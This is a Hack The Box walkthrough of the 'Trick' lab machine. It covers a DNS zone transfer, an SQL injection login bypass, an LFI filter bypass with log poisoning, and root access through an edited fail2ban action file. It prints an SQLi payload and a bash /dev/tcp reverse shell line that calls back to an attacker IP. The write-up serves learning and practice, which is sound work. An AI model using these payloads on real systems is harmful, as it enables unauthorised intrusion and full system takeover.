Adhyan Agarwal logoadhyan agarwal
BACK TO ARCHIVE
HTB|2022.06.18

Trick — DNS Zone Transfer & SQLi to fail2ban Root

OS

Linux

Difficulty

Easy

Category

LINUX

Released

2022.06.18

Pulled hidden subdomains via a DNS zone transfer, bypassed a login with SQL injection, and read the nginx config with sqlmap FILE privileges. Exploited a ..././ LFI bypass with log poisoning for a shell, then abused a sudo fail2ban restart for root.

Want to try this box yourself?

Spoiler-free mode is on by default — every solution stays hidden behind a reveal. Peek the hints, attempt each step, then unlock the answer when you're stuck. Turn it off to read every solution inline.

Nmap

Enumeration

SMTP

Enumerating SMTP reveals nothing.

DNS

Performing a reverse DNS lookup:

Using the dig command to do a DNS reverse lookup, we find that there is a domain called trick.htb.

Looking at the web page, we do not see anything interesting, so we try zone transfers:

We get two more domains: preprod-payroll.trick.htb and root.trick.htb.

Web-Enumeration

root.trick.htb is the same coming soon page as the others, so there is nothing worth looking at.

root.trick.htb coming soon placeholder page

preprod-payroll.trick.htb

preprod-payroll payroll management admin dashboard

This page looks like a payroll management admin dashboard.

Trying default credentials like admin:admin and admin:password does not work.

Directory fuzzing shows some interesting subdirectories, but we need to log in to do anything with these.

After looking around and trying a few more things, we did not find anything. So we searched the name of the page online and found that it is software by somebody named sourcecodester.

Since the ffuf scan shows a db_connect directory, we will try a SQL injection.

Using a simple payload from PayloadsAllTheThings, we can log in:

' OR '1'='1 # For User
' OR '1'='1 # For Password

Logged into the payroll dashboard via SQL injection

In the users tab, we see only one user and they are an administrator.

Users tab showing a single administrator account

Using Burp Suite, we can get the password by using the edit user option.

The above credentials do not really do anything but log in to the page.

Enumeration Using SQLMap

Since the login page was SQL injectable, we can try to use SQLMap to enumerate more to see if we can find any credentials or information:

We find a user remo.

To check the privileges of the user we can use the following command:

We find that we have file read permissions.

We see what files we can get.

Asking Claude AI: since we have an Nginx server, we should check the /etc/nginx/sites-enabled/default file.

We can get it by using the following command:

We get the following code:

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name trick.htb;
        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

The most interesting piece of information in this is the third subdomain preprod-marketing.trick.htb.

This is one way of getting this subdomain. We could have fuzzed it using preprod-FUZZ.trick.htb, since preprod is just short for preproduction.

Marketing Sub-Domain Enumeration

preprod-marketing.trick.htb default web page

The web app looks like a default web page, nothing interesting, but the URL looks like there is a potential LFI vulnerability there.

Marketing page URL with a file-include style parameter

LFI Testing

Testing the parameter for local file inclusion

Trying to traverse to the /etc/passwd file, we get a 200 OK, so there must be some sanitization happening behind the scenes.

Path traversal to /etc/passwd returning 200 with sanitization in place

Adding a ../ inside the ../, making it ..././, allows us to bypass the sanitization and we get LFI.

We can now use log poisoning to get command execution.

Reading files after the ..././ sanitization bypass

Using log poisoning, we get command execution as michael.

Shell as Michael

Using the RCE and a reverse shell from revshells.com, we get a shell as michael.

Reverse shell payload delivered through log poisoning

Reverse shell caught as michael

We upgrade the shell. Upgrading the michael shell to a full TTY

Privilege Escalation

Using sudo -l to see what commands can be run without a password, we get the following output:

We can restart fail2ban using sudo.

Inside the Fail2ban directory, only one directory is owned by security, which is a group that michael is part of, so that seems interesting.

After looking around, the directory suddenly clears itself, which means there must be a cronjob running that deletes all the files after a specific amount of time.

We will create a new .conf file that has a reverse shell, so when we restart with sudo we get a shell as root:

[Definition]
actionstart = bash -c 'bash -i >& /dev/tcp/10.10.10.16/4444 0>&1'
actionstop =
actioncheck =
actionban =
actionunban =

We add the above in a file named privesc.conf.

Attempting to create privesc.conf in the action.d directory

So we cannot create files since we do not have enough permissions to do so.

Going back up a directory and coming back to action.d fixes the issue with the empty directory.

action.d directory repopulated after navigating away and back

Using another conf file to write it, we find that we cannot write to any of them.

Write attempt failing against the existing conf files

So we will need to copy the files to another one that we own and then convert it back.

We use the following commands and edit the iptables-multiport.conf file to get a reverse shell:

Edited iptables-multiport.conf carrying the reverse shell action

Now we need to get banned, so we try logging in with SSH without a password multiple times and get a shell as root.

Root shell caught after triggering the fail2ban ban